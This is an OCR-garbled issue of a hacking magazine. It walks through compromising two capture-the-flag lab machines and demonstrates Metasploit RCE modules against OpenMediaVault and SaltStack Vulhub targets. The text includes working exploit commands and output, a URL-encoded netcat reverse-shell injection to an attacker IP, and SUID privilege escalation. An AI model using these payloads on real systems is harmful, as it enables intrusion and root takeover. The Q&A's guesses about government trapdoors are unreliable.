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Editor's Note

Edition 4 Issue 1
Hi Readers. We hope you are all awesome and safe. Welcome to the First
Issue of this year 2021. We successfully completed three editions and we are v
-ery happy about it. We would like to thank all our readers without whom this ac
-hievement would not have been possible.
We have decided to start the First Issue of Edition 4 with a Real World Sce
-nario in which the attacker system is placed behind a router. In our previous
Issue, we have given our readers a Similar scenario. However, this scenario w
-hich has been named "RELOADED" is more robust and almost a simulation of
ia Real World. Another new thing about this scenario is that we have provided
immaculate details about creating this scenario in your own system at home. T-
\his is available in our Hacking Lab section.
HACKING LAB is not the only lab tutorial included in this Issue. We have
lanother Lab tutorial which shows how to create a Docker lab with Vulhub as tar
-get in our INSTALLIT Feature. Vulhub is a most popular collection of vulnerabl-
le software in the form of docker images. If you want to see how this helps our
Ireaders in penetration testing, have a look at the exploit modules we included in
this month's METASPLOIT THIS MONTH Feature. All these exploit modules ar-
le tested on Vulhub target.
It was our long standing dream to include Forensics in this Magazine.
It took the completion of three editions for us to fulfil it. With ever increasing dat-
\a breaches and hacking attacks, the knowledge of at least beginner level forens
-ics is becoming important for professionals and amateurs alike. With the begin-
iner article this month, we want to give our readers a idea about Forensics and
what it is intended to do. When you are done with all the practicals, read away
the article on how North Korea has been carrying on its hacking attacks all arou

-nd the world. Until we bring our February 2021 Issue LIVE, enjoy the present
Issue.
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“THE SOURCE CODE IS THE ARCHITECTURAL BLUEPRINT OF HOW THE SOFTWARE IS BUILT.
IF YOU HAVE THE BLUEPRINT, IT'S FAR EASIER TO ENGINEER ATTACKS."

- ANDREW FIFE, CYCODE.
ON SOLARWINDS HACKERS ACCESSING MICROSOFT'S SOURCE CODE.




Information provided in this Magazine is
strictly for educational purpose only.
Please don't misuse this knowledge

to hack into devices or networks without

taking permission. The Magazine will not

take any responsibility for misuse of this
Information.
-Hackercool Magazine.
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WHEN ATTACKER SYSTEM IS BEHIND A ROUTER : RELOADED

REAL WORLD HACKING SCENARIO

” Our readers have already seen one hacking scenario where the attacker system
was placed behind a router in our August 2020 Issue. In the particular Issue, the targe
-t was on another network as usual. However, in our present Issue, we bring you anot
-her scenario which is similar to the scenario we have seen in the August 2020 Issue.
However, we have named this RELOADED because not only we have smashed some g
-litches in that scenario but also we designed this one to be more precise and easy to
understand. The Lab design for this scenario is given in the HACKING LABS section
given in the same Issue. In this scenario, we will be hacking two targets. I'hese two tar
|-gets are Monitoring : 1 CTF machine and Cherry CTF machine. In the first target, we
\ will use a bind_shell and in the second target, we will be using a reverse shell.

|

Hi, | am Hackercool. | was at home in the peaceful confines of my own LAN network. | was u-
Bing a PFsense router and my attacker machine is Kali linux. As my readers already know, o-
nce we connect to a LAN (wireless or wired) we already have access to the internet. This is c
-ommon knowledge. | check my external (IP address given by the Internet Service Provider)
and using Nmap scan the external IP range.

found two LIVE systems. | decided to try to hack one machine after another. Performing a
CP Connect scan on the first target (192.168.36.178) revealed five open ports on the target.

The services running on the FIRST target are SSH service, SMTP service, LDAP service and
B web server with HTTPs enabled. | decided to perform verbose scan of Nmap to get more in
Hformation about the services running on the target.

; N
Have any questions?

Fire them to
editor@hackercoolmagazine.com




7.2p2
Postfix smtpd
Apache httpd
OpenLDAP

ts enumeration time. | used searchsploit to find out if any of the services had any exploits for
heir versions.

he OpenSSH server running on the target had an exploit related to username enumeration
enLDAP server had DOS exploits available.

Laap

one of these are of need for me. | wanted something simple to gain access on the target. |

ad a look at the website.
M Nagios X

€« ¢ @ ) 192.168.36.178

Kall Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter [ Offensive Security = Exploit-DB = GHDB

Nagios




his is Nagios. Nagios is an open source network monitoring software.

B3

|

B Login- Nagios X

Login

m Nag
XI F LS

L MY
QR U R -

|."' !

ran nikto on this web server to see if | could get more information about it.

i.i.il- r

Login

=3 XI F LS




After a few hits and misses, | got access to the nagios dashboard.

. e 9

vl;lu-:lm

Notices x

= abirm e u Borw Mg sos 0 Heieasr Ao nobid e '

L AT W P i ek e oy o pdre g

Magies X% 0 0 + Checs b Upsiaies Aimni | Legsl it © D008 N0 | Mages Erewpraes LLC

he credentials for the nagios dashboard are nagiosadmin:admin. "nagiosadmiN" is the defa-
It username for nagios while 'admin” is a common password which is still used widely.
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Although | got access to the dashboard, | could not do much here. | went through the trouble
pf going through the nagios dashboard tutorial to see if | can find any method of getting a she
-l on the target. The version of Nagios software running on the target is 5.6.0.

Metasploit has an exploit module that when provided with credentials, exploits a vulnera-
pility on the target nagios, installs a malicious plugin and executes this plugin to gain a shell
pn the target. This exploit module works successfully on Nagios versions prior to the version
pf 5.6.6. Our target is well below this version. | even have the administration credentials.

So | can use this metasploit module to grab a shell on the target. So | start metasploit a
-nd load the nagios_xi_authenticated rce module.




use exploit/Linux/http/naglios_x1_authenticated_rce

sing configured payload linux

t i

i’ -
XO& /) M

terpreter/reverse_tcyp
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By default, this module tis configured with a reverse tcp payload. | changed it to a bind_tcp

payload. In my previous hacking scenario, | already explained you the difference between bin
d and reverse shells.

Module options

Name current

RHOSTS

with syntax 'file:<path>

rPayload ‘roreter/

[

options

Name Current Descr

CIDR i1identifier, or hosts

[allEge

D11 t]_'_:_;) ) &

iption

msfS exploit(]

fil

[ =]

n a bind shell, a specific port on the target is set up so that it listens for an incoming connecti
on from the attacker system. This requires an open port. | presume that the target does not
ave a firewall so this will work. | set all the required options for the module to work.




ploit(linux/http/nagios_xi_authenticated_rce) > set rhosts 192.168.

= 192.1068.36.1

T &

@ QO

155 exploitl x/htt 19 X1 thenticated rci > set password admin
password = admin

mc "., ] |"-‘! 3 " & i . : . - » | | |

msi2 explolit! - | g . rce) > check

192.168.36.178: 8¢ The target appears to be vulnerable. 7T

larget 1s Nagios XI wi

-

exploit(] ix/htt i authent ted ree y .

et is vulnerable and execute the module.

| L | . . 1 T " .. s Y i " . \ > I.Iir.\:

Found Nagios Xl application with version 5.

Uploading malicious 'check_ping’ plugin

Lommand Stager progress - 100.00% done (829/8.29 bytes)
fully uploaded plugin.

Executing plugin...
- -

walitin )r the plugin to request the final payload...

-
.hi

P].‘I:rt“'l .].‘u_l.!l‘illt }.i"_l"',h'._ Jar'_l '1.:“:1-..1‘!‘-1
(3012516 bytes) to 192.168.36.178

1 opened (0.90.0.0:0 — 192.108.30.1/7/814444) at 2021-02-05 19:50:04 -050

Deleting malicious
[+] Plugin deleted.

met e rpre ter > l

mete !‘i'i reter r 5N ".'lfl*.i‘l

Computer : 192.168.

0s : Ubuntu

Architecture : xb4&

BuildTuple : xX86 64

Meterpreter * x64/11nux

meterpreter > ¢etuld

Server username: no-user a ubun (uld=0, g€1d=0, euld=0,

J.r_hl__]‘r_k_r_* .

successfully got a meteRpreter session on the target anD that too with root privileges. | had
look at the proof.txt file in the root directory.

meterpreter

metlterpreter

L1sting: /root

Mode >1ze Type Last moditied Name

100600/ rw — ¥ fil 2020-09-08 31 -0400 .Dash_history

r

-0400 . DASNTri
00 -0400 .Cpan
.Iﬂ'_ ﬁ-iﬂﬂ ,,:fl'.J;'I,_":

100644/ rw-T . fil 2020-09-08
LO755/rwxr ; air 2020-09-08
L0700/ rwx air 2020-09-08
LO755/rwxr-xr a1ir

I'w-T 1 LY fil

> b

et

30 -0400 .nano

)

‘00 0400 .profile
b:55 -0400 .rnd

'

+

Y/ TWAT ‘63 D400 .subversion

-

1.".“‘ L rw =A4LOO :\['llvli X1

e

[ [— - [ = [ (-] — | =) [ [ —
i i

LOATE J an . .
L0755/ ruxi S

meterpreter > I

meterpreter > cat proot.txt
SUNCSR.Team.3.at6d45dalfl1181347b9e2139123cHa5b

meterpreter > l

arget 1 is successfulLly hacked. | was in no mood to have a backdoor on this target. So |




moved on to the next target. TCP connect scan of the Nmap revealed two open ports on the
second target. The ports belong to SSH and HTTP.

19°) 4 7
4J tl'----ilrlll 4

________

canneaq

t seemed like a simple website. | performed a nikto scan on the website.
$ nikto -h 192.168.36.179

As it failed to get any new information about the target, | performed directory busting next to
see if it can help me.




As always Dirb is the tool of my choice.

START _TIME:

JRL BASE:

= P L Al
WOKDLLIS)

_ JRL:
=% DIRECTORY: http: 192 .168.36.179/backup
ntip: 92.168.36.1/7¢ ndex.html (CODE:200|SIZE:640)
] ' WE:200|S178221)

Dirb found one directory and one php file on the target web server. However, these files cann
ot be viewed.

B Login - Nagios x 403 Forbidden

(- L Q 192.168.36.179/backup/ see B

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter [ Offensive Security = Exploit-DB = GHDB § MSFU

403 Forbidden

nginx/1.18.0 (Ubuntu)

403 Forbidden

Kali Linux Kali Training Kali Tools = Kall Kall Forums NetHunter | Offensive Security = Exploit-DB =~ GHDB [} MSFU

403 Forbidden

nainy/1.18.0 (Ubuntu)

ext, | used whatweb on the target web server.
U;: éuuntry: - 1[2Z], HTTPServer|
], Title[Cherry], nginx[1.18.0]

ext, | used searchsploit to find if the particular version of nginx has any vulnerabilities.
$ searchsplo




Terminal Escape Sequence in Logs Commanc e | multiple/re

: 1...'- { ) I{Tl"",- ' - I]I_: ..P‘. P : c c .. 9 y | YA I‘Ill '-1.r...'._ T"_m- %

C - g - . r 1 i - r . T E T i - & . 5 - & & g
sgurce Ul_n‘_L‘.J'.:JI*.' / 41 L ¢ -1 1 windaows/remc
URT pfl'l**‘w‘-l‘]u‘. SecURIty Bvpas: r..lli-“”,, remote

1.4.0 - Chuncked Encoding Stack ' Linux/re
-:,'ht.'l" Lli'r"_.“ '1+. "I"!".'i"" ‘ LTMTU X '1'?':-.
1.46.0 (xB6) Brute Force Linux_xB86/remote

' ric Linux x64) - Remote Over ' I1Nnux x86-64/remote

PHP-FPM N ¢ - Remote Code Executiol php/webapps/47553.ma

here were no vulnerailities for the specific version. All my efforts till now were hitting a dead
end. If there were no vulnerabilities in the web server, is the SSH server only way to gain acc
ess on the target or am | missing something. | decided to perform port scanning again but a
bit differently. This time | scanned all the 65535 ports just to make sure | didn't miss anything.

~$ nmap -sV
Starting Nmap 7.80 ( https://mm
Nmap scan report for 192.1
HOST 18 ID D.0023s latend V).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
SSI UpenssH
http nginx 1.1

nttp Apache

gesplite returning data. t vou know the service/versl

| e
dl NTIPpS://Nmap.org/Ccel tJl'L')..f_”'l'_.ﬂ‘{; new-service

Vel .B0XI=7%D=2/5%Time=601DFEB7%P=1686-pc-1inux-gnusr( NULL

O\ x0b\x08\x05\x1a\0" )Xr(GenericlLines ,'-J' x05\0\0\0\x0b\ x0O8

(GetRequest,9, "\x05\0\0\0\x0b\x08\x05\x1a\0" )Xr(HTTPOptio

O\ x0b\x08\x05\x1a\0" )JXr(RTSPRequest,9, X05\0\0\0\ x0b\ x0
" JEr(RPCCheck,9, "\ x05\0\0\0\ x0b\ x08\x05\x1a\0" )Xr(DNSVersion

9, "\ x05\0\0\0\ x0b\ x08\x05\x1a\0" )JXr(DNSStatusRequestTCP, 2B,

O\O\O\ x0b\x08\x05\x1a\0\x1e\O\O\O\x01 \ x08\x01\x10\x88 \xla\x@fInva

x20message\"\x05HY000" )Xr(Help,9, "\ x05\0\0\0\x0b\ x08\x05\x1a\0" )%r!
SessionReq,2B, \x05\0\0\0\x0b\x08\x05\x1a\0\x1e\O\O\DO\x01\ x08\x01\x1
xl1la\x0fInvalid ‘.l_'i‘r“tJ'x'w.iE;r*‘.h xOSHYO00" %1 'minalServerCookie,9,

0\0\x0b\x08\x05\x1a\0" )Xr(TLSSessi1onReq,? A\ X05\0\0\0\ x0b\ x08\

' L ll_‘ .hti' |J_, t_‘l IL‘l lt_"'ll'. l‘_ll K 1;_‘ I*_'Ihhj . | ‘\* A aw 1V "‘I ] ' .___.h:‘”.'f_‘-_'-*_ll._'l"L:"" ‘;_1'

After | did this, | found two new ports open on the target, ports 7755 and 33060. When you p-
erform general port scanning with Nmap, it scans only the most common ports : 1-1024. Hen-

e | missed these ports earlier.
So there is another web server running on the target. This one was an apache web ser-

er. | ran nikto on this server too.

15 NOt prese

2
115 header

his coul
MIME type
force check all possible dirs)
header found with file /, inode: 280, size: S5aebl700cle2f,
gZ1p
lowed HTTP M wods: POST, OPTIONS, HEAD, G
)B-3268: /backup/: Directory indexing found.

DB-3092: /backup/: This interest s




ven on this web server, there is a directory named "backup”. Unlike the one in the web serv
er on the port 80, this directory is accessible.

(a)

Index of /backup

Name Last modificd Size Description
Y command 1 ,. 0 29
l‘, ytest tar gz ' 1 18:54 12M
" ) Mmasterzip 0 11M
T masterzip bak 2020-09 M 1IM
] f ‘4 I | Server a s | ¢ ol |

found some files in this directory. | downloaded all these to my attacker system.

ndex of /backup

s A Las! mesbilicd Size Desdliplion

What should Firefox do with this file?

Index of /backup

s AT Last moslilied Sier e rigtion

latest tar.gr

Yo vI e

What should Firefox do with this file?




Since | can't download a php file this way, | used wget command to download the php file
ommand.php.

The passthru ( ) command in php is used to execute system commands. Since this command
Is being used without any validation or sanitization, it can be vulnerable to command injection
| | checked this with simple system commands first.

M Login - Nagios X X Backup X <+

¢ C'® D 192.168.36.179:7755/backup/command.phy ?backup=id

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter f| Offensive Security

ud =33 (www-data) gid =3 (www-dala) groups=33(www-data)

B Login - Nagios X Backup

€« C D 192.168.36.179

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter | Offensive Secu

Linux chertv 5.4.0-45-generic 249-Ubuntu SMPWed Aug 206 13:38:52 UTC 2020 xBO 04 x80 04 xBb 64 ONU/Linux




M Login - Nagios XI X  Backup

€« C @ ) 192.168.36.179

Kali Linux Kali Training Kali Tools # Kali Docs Kali Forums NetHunter [ Offensive S

'var/www/htmlbackup

Command Injection is working successfully. The next thing | did was to get a working reverse
shell on the target.

u L |: | lI. !"; - x Rdllklll

& D) 192.168.36.179

Kall Linux Kali Training Kali Tools #= Kali Docs Kali Forums NetHunter § Offensive Security Exploit-DB

As readers already know, in a reverse shell connection is initiated from the target. So attacke
-r IP is needed,

1,{\: -L-_lli.-:_.,:.._-_.L'L WER Q Tati

yopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

T,MULTICAST,UP, LOWER UP> mtu 1500

ether 00:0c:29:c2:45:e0 brd FF:Ff Fr FF.FF:¢¢

| 1 1 | !.T
1 i
-
. b
l -

After some research and working out, | got a working revere shell.

N in - NagQ " 8 Backup X =

4_ O Q -.:i FirT --..i ¢ O _‘hr.,.l =i -|1i. l-_;_.‘r.‘ at+ -i ¥ l n/eh e

© http//192.168.36.179:7755/backupicommand php backup=rm+/tmp — Visit

192.168.36.179:7755/backup/command.php?backup=rm+/tmp/f% 3bmkfifo+ /tmp/f% 3bcat + tmp/f] /bin/sh+-i+2>%261|nc+192.168.66.12 +4646+
e v O ® B

But when | execute it, | did n't get any shell on my listener running on the attacker machine.

%




lL/Vhat':a wrong here? Let me tell you. This shell was never gonna work. The reason is it is initi-
gting a connection to a machine with IP 192.168.66.12 whose |P address the target doesn't k
-now. If you observed the scenario here, the attacker system is behind a router as part of a
AN. The only machine the target knows in our network is the Pfsense router. So | first need
o set up port forwarding on the router to my attacker machine. This can be done as shown.

SIGN IN

n the Firewall menu, there is a "NAT" sub menu.

. e @ noae =
Rlisense
Firewall / NAT / Port Forward | wa ©
interface Protocol Source Address Source Ports Dest Address Dest. Porta NAT P MNAT Ports Description Actions
v P W 68 64 BO (HTTH HTTP web setver r g
£ £ O
This option has a Port forward section.

Firewall / NAT / Port Forward o

interface  Protocol Source Address Source Ports  Dest. Address Dest. Ports  NAT IP NAT Ports  Description Actions

W r WAN . T ko " u

FiEl < b4 b ] !
. |
&

Legend
> Pas




added a new port forward rule.

{_.. ] .,1

Fisense

Firewall / NAT / Port Forward / Edit o

Edit Redirect Entry

[(vsabied [isabibe thie rube
Mo RDE (NOT) Disable redrection for traffic matchimg this rule
L |
Interface AN -
Protocol

ol

Destination In vert match WAN addre -
onfiguring port forwarding is almost similar on all gateway devices.
Protocol

- ——

Destination nvert match ol “

De stination port range ' - Ih4r 1 hhe g

Redirect target IP

Redirect target port

hese are the individual options | set above.

Protocol

Destination port range " “ oAl ther "

Redirect target IP

Redirect target port .




i set a port forward so that any connection coming to port 4466 of the router should be forwar
-ded to internal IP 192.168.66.12 which is my Kali machine. After all changes are finished, |
saved the rule.

Description
No XMLRPC Sync

NAT reflection

Filter rule association

Rule Information

Created
e

Updated

A new port forward rule is added successfully.

€« C @

Eal | i Ea :'.il'-‘

flisense

Firewall / NAT / Port Forward g

interface Protocol Source Addresa Souwce Ports Dest Addresa Dest Ports MNAT IP NAT Ports  Description Actions
v P waN | p - - 1 68 b "im]

v

3 AR AR S o

L egend

>
I skt L

ow, | executed the webshell again but this time | set the IP to 192.168.36.154 which is the
external IP of the Pfsense router. This time | successfully get a shell on the target.

-lvp 4646

lookup failed: Unknown host

L

from (UNKNOWN) [192.168.36.179] 50602

tty; jJob control turned off

33(ww-data) gid=33(ww-data) groups=33(ww-data)




ext thing | did was privilege escalation. Since | had access as a "www-data" user, there wou
Id be no SUDO privileges. So | used find command to see if there are any programs with
SUID bit set.

IST/
fUS

ISr/D1Nn; .’""'lhﬂf';'

usr/oin/pKexec

usr/bin/chsh

usr/bin/chfn

usr/bin/passwd

'usr/1lib/snapd/snap-confine
‘'usr/1lib/eject/dmcrypt-get-device
'usr/Lib/openssh/ssh-keysign
'usr/1ib/dbus-1.0/dbus-daemon-launch-helper
usr/1ib/policykit-1/polkit-agent-helper-]
‘'snap/snapd/10707/usr/Lib/snapd/snap-contine
‘'snap/snapd/8542/usr/lLib/snapd/snap-confine
‘'snap/corel8/1944/bin/mount
‘'snap/corel8/1944/b1n/ping
‘'snap/corels8/1944/01n/5u
‘snap/corel8/1944/bain/umount
‘'snap/corel8/1944/usr/bain/chtn
‘'snap/corel8/1944/usr/bin/chsh
‘'snap/corel8/1944/usr/bin/gpasswd
‘'snap/corels 44 /usr/oin/newgrp

‘'snap/corels J4&L&/usr/bin/passwd
‘'snap/corel8/1944/usr/bin/sudo

‘'snap/corels 044 Jusr/1L1b/dbus~-1.0/dbus-daemon- Launch-helper
‘'sNnap corels & ] 1D/openssh I‘j‘.'\".—.l-i-'*'..i't:f'|
snap/corels 88 hin/mount
‘'snap/corel8/1880/bin/ping

'sSNap 'corels Hi i 'sSu
‘'snap/corel8/1880/bin/umount
/snap/corel8/1944/usr/bin/suao

/snap/corel8; L/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
‘snap/corels b4 /usr/1Lib/openssh/ssh-keysign
/snap/corel8/18¢ n/mount

snap/corel8/ 1880, ping
/snap/corels8/ 188 fsu
‘'snap/corelB8/1880/bin/umount
/snap/corel8/1880/usr/bin/chfn
‘'snap/corelB8/1880/usr/bin/chsh
‘'snap/corel8/1880/usr/bin/gpasswd
'snap/corel8/1880/usr/bin/newgrp
/snap/corel8/1880; /bin/passwd
fsnap/corel8/1880/usr/bin/sudo

‘'snap/corels; , usr/1li1b/dbus-1.0/dbus-d:

corel8/1880/usr/lib/openssh/ssh-keysi

q--l'f-'l‘. If?.’r'- "L$ .

here were many binaries with SUID bit set. Of all these, | thought setarch binary would be fit
and simple. Setarch is used to set architecture (i386.x86 64) for the program in any program
environment. It is also used to set personality flags. For example, if a user sets the setarch
lag to i386 in a x86 64 system, the program will be seeing a 1386 system. However, since it
as SUID bit set, it can be used to gain a root shell.




t can be achieved using command setarch $(arch) /bin/sh -p.

0ot J E;:-"]:I-'...-h_'l'l root )

Since | had a root shell now, | can view the root flag.

ccdd //rroooott

successfully hacked two targets now : one with a bind shell and the other with a reverse she

-l with my attacker system behind a router.

y

o

HACKING Q & A

Q. Are there any ways to hack legally?

. When we say hacking legally, it means we
ake the permission of the owner of the resou-
rces that we are going to hack into. It is the on
ly way you can hack legally. If there is no per
mission, it is illegal hacking. That's it.

Q. Is it legal to hack yourself?

. If you are owner of the target you want to
hack, it is legal. However, some times the ter-
m “owner is ambiguous. For example, you w
ant to hack into YOUR OWN Gmail account.

heoretically, you are the owner of your Gmai
| account. But as owner of Gmail, Google is
Iso the owner of your email account informatsi
on. Now if you try to hack into the servers of
Gmail to hack your account, it is illegal. As lon
g as the hacking target completely belong to
ou, it is legal to hack yourself for testing its
security.
Q. How does Government surveillance wor
-k’? How can the Government access the in
-formation from any computer without
hacking as there are local security measur

-es which requires user's permission for
an action?

A : You ever heard of TRAPDOOR. A trap do
-0r iIs a secret entry point into a program or so
-ftware which gives anyone complete access
to the software or program without the require
-ment of any usual security procedures.
Software developers legally use trapdoors for
testing the software. | think Governments mos
-tly have access to these trapdoors.

Nowadays, encryption has made decrypting
data almost impossible. However, every encry
-ption has a SECRET KEY that can be used t
-0 decrypt the data easily. My assumption is
that Governments have access to this
SECRET KEY.

If all else fails, Governments use third party
hacking services (like NSO GROUP which ha
-cked into Apple Iphone) to get6 what they wa
-nt.

None of these methods are announced
publicly and hence we are only left to assume
things.




SaltStack, WeblL ogic, Jenkins, Tomcat, Struts2 etc Modules

L METASPLOIT THIS MONTH

Welcome to the first Metasploit This Month feature of this year. Let us learn about the latest
lexploit modules of Metasploit.

OpenMediaVault RCE Module

TARGET: OpenMediaVault <= 5.5.11, <4.1.36 TYPE: Remote Module: Exploit
ANTI-Malware : NA

IOpenMediaVault is an open source Network Attached Storage (NAS). It is Linux based stora
-ge software and was used in Real World Hacking Scenario (RWHS) of December 2020 Issu
-e. The above mentioned versions of this software have a PHP code injection vulnerability w-
hich allows attackers to execute arbitrary code on the target system as root user. However, t-
his requires credentials. We have tested this on software version 5.5.11. The download infor-
mation of the vulnerable software is given in our Downloads section. Let's see how this explo
=it module works.

msf6 > search openmedia

Matching Modules

Disclosure Date

exploit/multi/http/openmedtavault_cmd_exec 2013-10-30
No OpenMediavVault Cron Remote Command Execution
1 exploit/unix/webapp/openmedtavault_rpc_rce 2020-09-28
Yes OpenMediaVault rpc.php Authenticated PHP Code Inj

ection
Load the exploit/webapp/openmediavault rpc_rce module.
msfb6 > use 1

Using conflgured payload llnux/x86/meterpret9t/reverse tcp
msf6 exploit(u webapp/openmediavault_rpc_rce) > show options

Module options (exploit/unix/webapp/openmediavault_rpc_rce):

Name Current Setting Required Description

PASSWORD openmediavault The OpenMediaVault passwor
d to authenticate with

Proxies A proxy chain of format ty
pe:host:port|,type:host:port][...

RHOSTS yes The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>’

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The Llocal host or network




interface to Listen on. This must be an address on the local machin
e or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen o
n.

SSL false no Negotiate SSL/TLS for outg
oing connections

SSLCert no Path to a custom SSL certi
ficate (default is randomly generated)

TARGETURI / yes The URI path of the OpenMe
diaVault installation

URIPATH no The URI to use for this ex
ploit (default is random)

USERNAME admin The OpenMediaVault usernam
e to authenticate with

VHOST no HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

The listen address (an interfa
ce may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

0 Automatic (Linux Dropper)

Set all the required options and use check command to verify if the target is indeed vulnerabl
e.

msfTb exploit(unxn webapp/openmediavault rpc rce) > set rhosts 192.1
68.36.176

rhosts => 192.168.36.176

msf6 exploit(unix/webapp/openmediavault rpc rce) > check

192.168.36.176:80 - Authenticating with OpenMediaVault using ad
min:openmediavault...
[+] 192.168.36.176:80 - Successfully authenticated with OpenMediaVa
ult using admin:openmediavault.
192.168.36.176:80 - Trying to detect if target is running a sup
ported version of OpenMediaVault.
[+] 192.168.36.176:80 - Identified OpenMediaVault version 5.5.11.
192.168.36.176:80 - Verifying remote code execution by attempti
ng to execute 'usleep()’.
[+] 192.168.36.176:80 - Response received after 8 seconds.
[+] 192.168.36.176:80 - The target is vulnerable.




msf6 exploit(unix/webapp/openmediavault rpc rce) > show missing
Module options (exploit/unix/webapp/openmediavault_rpc_rce):

Name Current Setting Required Description

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interfa
ce may be specified)

msT6 exploit(unix/webapp/openmediavault rpc ce) > set lhost 192.68
.36.171

Lhost => 192.68.36.171

msf6 exploit(unix/webapp/openmediavault

After all the options are set, execute the module.
msfé6 exploit(unix/webapp/openmediavault rpc rce) > run

Started reverse TCP handler on 192.168.36.171:4444
Executing automatic check (disable AutoCheck to override)

192.168.36.176:80 - Authenticating with OpenMediaVault using ad
min:openmediavault...

(+] 192.168.36.176:80 - Successfully authenticated with OpenMediaVa
ult using admin:openmediavault.

192.168.36.176:80 - Trying to detect if target is running a sup
ported version of OpenMediaVault.
(+] 192.168.36.176:80 - Identified OpenMediaVault version 5.5.11.

192.168.36.176:80 - Verifying remote code execution by attempti
ng to execute 'usleep()’

(+] 192.168.36.176:80 - Response received after 11 seconds.
|+] The target is vulnerable.

192.168.36.176:80 - Sending payload (150 bytes).

Sending stage (976712 bytes) to 192.168.36.1/76

Meterpreter session 1 opened (192.168.36.171:4444 -> 192.168.36
.176:33852) at 2021-02-03 07:30:16 -0500

Command Stager progress - 100.00% done (/799/799 bytes)

meterpreter > sysinfo
Computer : openmediavault. local

0S : Debian 10.5 (Linux 5.7.0-0.bpo.2-amd64)
Architecture : x64

BuildTuple : 1486-1inux-musl

Meterpreter : x86/1linux

meterpreter > getuid

Server username: root @ openmediavault (uid=0, gid=0, euid=0, egid=
0)




This should give us a meterpreter session with root privileges on the target system as shown
in the above image.

SaltStack Salt RCE Module

TARGET: SaltStack Salt TYPE: Remote Module: Exploit
ANTI-Malware : NA

SaltStack is an open source, Python based software used for |T automation, remote task exe
-cution and configuration management. The software has a authentication bypass and comm
-and injection vulnerability in the REST API. This vulnerability can be exploited to execute co
-mmands as the root user. Most of the versions have been patched ever since. The versions
that received patches include 2015.8.10, 2015.8.13, 2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3
, 2016.11.6, 2016.11.10, 2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,

3001.1, 3001.2, and 3002. We have tested this on software version 2019.2.3 on Vulhub. Th
- installation information for vulhub is given in the Installit section of this Issue. Let 's set the
target first. In vulhub-master directory, go to saltstack directory and then CVE-2020-16846 di
-rectory.

kaliakali: $ cd saltstack

Kallgxkall: s cd CVE-2020-16846
. ' 2. $ ls

$I

hen start the docker container as shown below.

N $ docker-compose up -d

Creating network “"cve-2020-16846_default®™ with the default driver
Pulling saltstack (vulhub/saltstack:3002) ...

3002: Pulling from vulhub/saltstack

e4c3d3e4f7b0: Pull complete

101¢c41d0463b: Pull complete

8275efcd805f: Pull complete

751620502a7a: Pull complete

0a5e725150a2: Pull complete

397dba5694db: Pull complete

B88f0c2440f8d: Pull complete

788145ec@4e5: Pull complete

596d3ac3bc76: Pull complete

7JaebkB89d18699: Pull complete

cOcbd5026057: Pull complete

06815bb684eB: Pull complete

2b0282550355: Pull complete

Digest: sha256:a03¢53e1199491981076dacf05c0338b4klabk3e4Babb71eb3cbOObd31a612a65f
Status: Downloaded newer image for vulhub/saltstack:3002

Creating cve-2020-16846_saltstack_ 1 ...

kalidkali: $ B
IAfter the container is ready, load the exploit/linux/http/saltstack salt api cmd exec module.
vV .
Have any questions?
Fire them to
editor@hackercoolmagazine.com

1.png docker-compose.yml README.md README.zh-cn,




msf6 > search saltstack

Matching Modules

EEEESESESEEEE=SES

# Name Disclosure Date Descrip
tion

- -

@ auxiliary/gather/Saltstack salt_root_key 2020-04-30
gk Salt Master Server Root Key Disclosure

1 exploit/linux/http/saltstack salt_api_cmd_exec 2020-11-03
¢k Salt REST API Arbitrary Command Execution

2 exploit/linux/misc/saltstack salt_unauth_rce 2020-04-30
ek Salt Master/Minion Unauthenticated RCE

Interact with a module by name or index. For example

msf6 > use 1
Using configured payload cmd/unix/reverse_python_ssl

msf6 exploit(linux/http/saltstack _salt_api_cmd _exec) > show options
Module options (exploit/linux/http/saltstack_salt_api_cmd_exec):

Name Current Setting Required Description

- e

Proxies A proxy chain of format type:host:port|,type:host:port)
iy

RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax "file:<path>'

RPORT 8000 yes The target port (TCP)

SRVHOST 0.0.0.9 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL true no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly g
enerated)

TARGETURI / Base path

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload options (cmd/unix/reverse_python_ssl):

Name Current Setting Required Description

-—— -

LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Set all the required options and use check command to verify if the target is indeed vulnerabl
e.

msf6 exploit(linux/http/saltstack _salt _api_cmd exec) > set rhosts 172.20.0.2
rhosts = 172.20.0.2

msf6 exploit(linux/http/saltstack _salt api cmd exec) > set lhost 172.20.0.1
lhost = 172.20.0.1

msf6 exploit(linux/http/saltstack _salt_api_cmd_exec) > check

1+)] 172.20.0.2:8000 - The target is vulnerable. Auth bypass successful.

msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > l




After all the options are set, execute the module.
msf6 exploit(linux/http/saltstack salt api cmd exec) > run

Started reverse SSL handler on 172.20.0.1:4444

Executing automatic check (disable AutoCheck to override)
{+] The target is vulnerable. Auth bypass successful.

Executing Unix Command for cmd/unix/reverse _python_ssl

Command shell session 1 opened (172.20.0.1:4444 — 172.20.0.2:36118) at 2021-02-07 09:08:44
-0500

id

uid=0(root) gid=0(root) groups=0(root)

uname -3

Linux Ba3ab63306f42 5.4.0-kali3-amd64 #1 SMP Debian 5.4.13-1kalil (2020-01-20) xB6_64 GNU/Linux

This should give us a shell with root privileges as shown in the above image.

